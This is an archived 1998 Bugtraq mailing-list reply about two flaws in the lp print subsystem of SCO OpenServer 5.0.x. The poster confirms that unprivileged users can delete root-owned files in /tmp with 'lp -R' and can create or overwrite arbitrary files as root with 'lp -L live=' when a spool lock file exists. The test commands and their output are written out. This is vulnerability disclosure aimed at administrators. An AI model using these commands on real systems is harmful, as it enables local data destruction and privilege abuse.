Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: Security problems on SCO's lp subsystem
From: mwilkers () talleytech com (Michael L. Wilkerson Jr.)
Date: Thu, 18 Jun 1998 21:02:46 -0400


-----BEGIN PGP SIGNED MESSAGE-----

Hello!

While casually looking for SETUID binaries in a newly installed
SCO 5.0.2 box, I have discovered that normal users with lp access
(the default) may cause headaches to the system administrador.

Details:

System: SCO 5.0.2 Enterprise (5.0.4 too?)
       Plain Vanilla Intel Server

OK. We are all clean.

Exploit 1)

Normal users can remove text files under /tmp. The lp command won't even
try to "print" (and remove afterwards) binary or executable programs.
There may be a way around this, but I haven't tried to find it.

$ lp -R /tmp/text_file_to_be_removed

The switch -R causes the removal of the file, after printing.

This exploit won't work in dirs that don't have the sticky bit set.


Okay, I've tested these both.  My box is:

SCO 5.0.4 Enterprise
        (also) Plain Vanilla Intel

as root...
        echo "test" > /tmp/rootfile

and the perms thereof are...

        drwxrwxrwt   2 sys      sys          1024 Jun 18 20:26 tmp

        and

        -rw-rw-r--   1 root     sys             5 Jun 18 20:26 rootfile

okay. now as a normal, unprivileged user, I run...

lpr -d lp -R /tmp/rootfile

...and to my displeasure, but as expected, the root-owned tempfile is
removed.  (BTW, this normal user is NOT a member of the group, sys --of course).

Exploit 2)

This is even better, but only works if your lp subsystem has a file named
/var/spool/lpd/lock. With this file in place, the lp command will enable
the "-L live" option. With this, you can write to *any* file in the system.
And even better, the file will be mode 600, owned by root...

Just do:
$ lp -L live=/any_file_in_the_system
blablabla
^D

And that's it. You can type anything you want/need.

One more time!

running "touch /var/spool/lpd/lock"
yields:
        -rw-rw-r--   1 root     sys             0 Jun 18 20:41 /var/spool/lpd/lock

...now as the same normal user I run (with rootfile being an as of yet
non-existing file)

        lp -L live=/tmp/rootfile

Okay, then I enter whatever text I choose...and a ^D and bingo!
now "ls -l /tmp/rootfile" yields:
        -rw-------   1 root     lp             21 Jun 18 20:45 rootfile

Of course, the same normal user which created the file can now not even read it.

Okay, now to a previously existing /tmp/rootfile with perms
        -rw-rw-r--   1 root     sys             5 Jun 18 20:52 rootfile

...I append, as a normal user, using the same lp exploit, whatever text I
choose.  Now, ls -l /tmp/rootfile yields:

        -rw-rw-r--   1 root     sys            28 Jun 18 20:53 rootfile

so, the perms didn't not become 600.  But the new text has completely
overwritten the original text.

One thing to note is that file /var/spool/lpd/lock did not previously exist
before root touched it into existence.

I'd like to know if these problems are still valid on 5.0.4. I couldn't
find any mention of this problem on the SCO site. Older versions of SCO
may exhibit this problem, since many of these have /usr/bin/lp setuid to
root.

actually the perms on /usr/bin/lp are:
        ---x--x--x   1 bin      lp           2472 Jun 18 20:10 /usr/bin/lp

and of course, lpr is a symlink to /usr/bin/lp.

Looks dangerous!

======================== Mike Wilkerson ==========================
"You cannot go on 'seeing through' things forever. The whole point
of seeing through something is to see something through it."
C.S. Lewis, "The Abolition of Man"

PGP Public Key: http://www.talleytech.com/~mwilkers/mypubkey.asc
==================== mwilkers () talleytech com =====================



  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]